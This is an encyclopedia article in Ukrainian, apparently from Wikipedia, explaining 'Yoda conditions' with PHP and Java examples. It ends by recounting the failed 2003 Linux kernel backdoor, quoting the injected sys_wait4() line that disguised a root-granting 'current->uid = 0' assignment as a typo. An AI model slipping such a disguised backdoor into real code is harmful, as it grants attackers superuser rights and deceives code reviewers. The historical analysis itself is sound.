Умови Йоди
Умови Йоди (від англ. Yoda conditions), або нотація Йоди (англ. Yoda notation) у жаргоні програмістів — «безпечний» стиль запису виразів порівняння при програмуванні мовами з Сі-синтаксисом, що полягає у написанні спочатку значення змінної, а потім — самої змінної. Такий запис дозволяє виявити на етапі компіляції і виправити помилку, властиву подібним мовам — операцію присвоєння =
, помилково записану замість операції порівняння «==
».
Названо на честь магістра Йоди зі всесвіту «Зоряних воєн», який має манеру змінювати порядок слів фрази.
У класичній нотації перевірка змінної на рівність певній константі записується так (приклад мовою PHP):
if ( $variable == 52 ) {
/* дії, що виконуються, якщо змінна дорівнює 52 */
}
тобто змінна, операція порівняння і константа. Дана конструкція вразлива щодо відомої помилки:
if ( $variable = 52 ) { // ПОМИЛКА: ПРИСВОЄННЯ змінній значення 52
/* дії, що виконуються ЗАВЖДИ */
}
Такий код є синтаксично правильним, і при неналежному тестуванні може залишитися у програмі на тривалий час і стати причиною значної вразливості.
При застосуванні нотації Йоди змінну і константу міняють місцями, так що константа виявляється ліворуч:
if ( 52 == $variable ) {
/* дії, що виконуються, якщо змінна дорівнює 52 */
}
При такій нотації у випадку описки в операторі порівняння виходить синтаксично некоректне присвоєння константі і програма не буде працювати, поки помилка не буде знайдена і виправлена.
if ( 52 = $variable ) { // ПОМИЛКА при компіляції
/* ... */
}
Нотація Йоди також застосовна при розв'язанні проблеми небезпечної «нульової поведінки» (англ. unsafe null behavior) наприклад (приклад мовою Java):
String myString = null;
if ( myString.equals("foobar") ) { // Викликає NullPointerException
/* ... */
}
При застосуванні нотації Йоди:
String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Хибність
/* не виконується */
}
Використання нотації Йоди не дозволяє програмам мовами C++, Java, PHP тощо працювати за наявності помилок у виразах порівняння (поведінку програми ця модифікація не змінює). Деякі програмісти вважають застосування даної нотації «ознакою гарного тону»[1].
До недоліків нотації відносять складність написання, модифікації й читання програми, а також вузьку галузь застосування — тільки перевірка рівності, тільки порівняння з константою. Сучасні інструментальні засоби розробки (компілятори, редактори) дозволяють відслідковувати і видавати попередження за наявності присвоєння в керувальній конструкції, вважаючи його потенційно помилковим.
Цікавим є невдалий бекдор у функції sys_wait4()
в ядрі Linux (2003).[2][3] Розробка велась на пропрієтарній системі керування версіями BitKeeper, а ночами код викладався на загальний огляд на більш поширеній CVS. Цю CVS і зламали, додавши у функцію sys_wait4()
два рядки, що перевіряють вхідні дані на некоректну комбінацію прапорців:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
Бекдор було замасковано під звичайну описку — замість ==
стояло =
. Таким чином, передача до функції двох прапорців, що суперечать один одному, виконувала код current->uid = 0
, тобто давала програмі права суперкористувача.
Зміну виявлено під час автоматичного перенесення змін з BitKeeper до CVS — не збігся електронний підпис (за іншими даними, скрипт-експортер поскаржився на дивну дату файлу). Помилка в принципі не могла пройти у стабільне ядро (зв'язок між BitKeeper і CVS односторонній). Автора «дірки» знайти не вдалось.
- ↑ Искусство проведения интервью — gnuman.ru. Архів оригіналу за 28 січня 2014. Процитовано 28 червня 2014. [Архівовано 2014-01-28 у Wayback Machine.]
- ↑ Про інцидент з wait4() на anticopyright.ru. Архів оригіналу за 15 жовтня 2014. Процитовано 28 червня 2014. [Архівовано 2014-10-15 у Wayback Machine.]
- ↑ Новина про спробу злому Linux на Slashdot